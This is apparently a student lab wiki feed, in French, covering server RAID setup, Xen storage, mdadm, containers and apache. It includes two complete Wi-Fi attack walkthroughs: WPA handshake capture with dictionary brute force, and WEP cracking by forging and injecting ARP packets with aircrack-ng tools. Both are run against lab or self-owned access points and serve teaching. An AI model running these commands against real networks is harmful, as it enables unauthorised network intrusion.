Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvde1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdf1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
Afin que les modifications soient effectives, on reboot la VM.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&lt;br /&gt;
Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_var&lt;br /&gt;
  mount /dev/xvdc1 /mnt_var&lt;br /&gt;
&lt;br /&gt;
Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :&lt;br /&gt;
&lt;br /&gt;
  cd /var&lt;br /&gt;
  cp -ax * /mnt_var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous faisons ensuite un backup de notre ancien dossier var :&lt;br /&gt;
&lt;br /&gt;
  mv /var /var.old&lt;br /&gt;
&lt;br /&gt;
On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /var&lt;br /&gt;
  umount /dev/xvdc1&lt;br /&gt;
  mount /dev/xvdc1 /var&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.&lt;br /&gt;
&lt;br /&gt;
Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdc1 /var ext4 defaults 0 0&lt;br /&gt;
&lt;br /&gt;
Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :&lt;br /&gt;
&lt;br /&gt;
  rm -r /mnt_var&lt;br /&gt;
  rn -r /var.old&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;br /&gt;
Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment.&lt;br /&gt;
Pour ce faire, nous utiliserons l'utilitaire mdadm.&lt;br /&gt;
&lt;br /&gt;
Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.&lt;br /&gt;
&lt;br /&gt;
Nous allons donc créer le raid5 sur /dev/md0&lt;br /&gt;
&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&lt;br /&gt;
On créé ensuite un filesystem dans la nouvelle partition raid :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On créé un point de montage et on monte la partition :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_raid5&lt;br /&gt;
  mount /dev/md0 /mnt_raid5&lt;br /&gt;
&lt;br /&gt;
On automatise la création de la grappe :&lt;br /&gt;
&lt;br /&gt;
  mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
  /dev/md0 /mnt_raid5/ ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
Le lancement de la commande suivante permet de confirmer que tout est ok :&lt;br /&gt;
&lt;br /&gt;
  mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Raid5.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Séance 6=&lt;br /&gt;
==Crack de réseau WEP==&lt;br /&gt;
Nous avons essayé en classe de cracker les cracottes configurées en WEP, et nous nous sommes retrouvés face à deux problèmes :&lt;br /&gt;
&lt;br /&gt;
1) Bien que la découverte des réseaux et du handshake se soit déroulés à merveille sur mon ordinateur avec sa carte wifi Qualcomm Atheros QCA9565 / AR9565, ici il m'était impossible de voir les réseaux WEP correctement avec airodump, je voyais des channel -1 et beaucoup d'autres choses abérantes. Après quelque recherches, des drivers non adaptés seraient la cause du souci. Je passe donc sur les dongles wifi mis à disposition.&lt;br /&gt;
&lt;br /&gt;
2) Avec les dongles wifi, il n'y avais plus d'incohérences, mais je n'ai pas réussi à obtenir suffisamment de data pour cracker le réseau. Cela s'explique notemment par le fait qu'aucun client n'était connecté sur la cracotte, je ne pouvais pas faire d'attaque par deauthentication.&lt;br /&gt;
&lt;br /&gt;
J'ai donc configuré une bbox en WEP avec le mot de passe le plus long (26 caractères), non connectée à internet, et uniquement connectée un smartphone.&lt;br /&gt;
Je boot ensuite un kali linux, l'image intégrant des drivers compatibles avec aircrack. L'operation peut commencer.&lt;br /&gt;
&lt;br /&gt;
On liste les interfaces réseau :&lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
&lt;br /&gt;
Mon interface s'appelle wlan0, je la passe en monitor mode :&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
Maintenant l'interface s'appelle wlan0mon. On lance le scan des réseaux WEP :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
IMAGE_SCAN&lt;br /&gt;
&lt;br /&gt;
La box que nous allons attaquer s'appelle BOX_PRA. On récupère son BSSID, sa channel, et on lance la capture dans un fichier wep-*.cap :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --bssid 64:7C:34:76:CF:8C --ch 9 --write wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
La chose qui nous intéresse ici est le nombre de data. Plus son nombre est grand, plus nous avons de chance d'avoir les infos qui nous permetteront de décrypter la clé WEP. Un bon ordre de grandeur est autour de 20000.&lt;br /&gt;
Malheureusement ce nombre de data n'augmente pas rapidement car le trafic est quasi nul. C'est pourquoi nous allons faire de fausses connections à labos, ce qui nous permettra d'injecter par la suite des paquets ARP :&lt;br /&gt;
&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 64:7C:34:76:CF:8C wlan0mon&lt;br /&gt;
&lt;br /&gt;
Afin de générer le paquet ARP, nous allons utiliser une attaque &amp;quot;fragment&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
  aireplay-ng --fragment -b 64:7C:34:76:CF:8C -r wep-01.cap wlan0mon&lt;br /&gt;
&lt;br /&gt;
Si l'attaque réussit, nous pouvons voir &amp;quot;GET A RELAYED PACKET&amp;quot;. Ceci nous permet de générer un keystream, qui nous sera utile pour générer le paquet ARP :&lt;br /&gt;
&lt;br /&gt;
  packetforge-ng --arp -a 64:7C:34:76:CF:8C -h EC:0E:C4:0E:FD:71 -k 192.168.1.2 -l 192.168.1.254 -y fragment-1217-222915.xor -w arp&lt;br /&gt;
&lt;br /&gt;
On sait que la box est une bbox, cette dernière utilise apr défaut l'ip 192.168.1.254. On choisit arbitrairement 192.168.1.2 comme IP destinée à recevoir le paquet. On choisit aussi une MAC correcpondant à un 'client'.&lt;br /&gt;
Notre paquet ARP est maintenant prêt, on lance l'injection :&lt;br /&gt;
&lt;br /&gt;
  aireplay-ng --arpreplay -b 64:7C:34:76:CF:8C -r arp wlan0mon&lt;br /&gt;
&lt;br /&gt;
Au lancement,on remarque que le nombre de data capturées augmente significativement, pour ensuite s'arrêter lorsqu'un client régulier s'est fait déconnecter. On arrête l'injection, et on recommence quelque secondes plus tard.&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de data suffisant, on lance le crack :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng wep-01.cap&lt;br /&gt;
&lt;br /&gt;
Et KEY FOUND !&lt;br /&gt;
&lt;br /&gt;
[[fichier:Screenshot from 2018-12-17 22-37-26.png|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Pour conclure, on comprend bien ici pourquoi la sécurisation WEP a disparu : un réseau sécurisé avec le nombre maximum de caractères est piratable en quelque minutes, sans le moindre dictionnaire, uniquement avec des paquets récupérés. Le WPA est donc une excellente alternative au WEP.&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screenshot_from_2018-12-17_22-37-26.png&amp;diff=48955</id>
		<title>Fichier:Screenshot from 2018-12-17 22-37-26.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screenshot_from_2018-12-17_22-37-26.png&amp;diff=48955"/>
				<updated>2018-12-17T22:28:51Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48954</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48954"/>
				<updated>2018-12-17T21:42:00Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
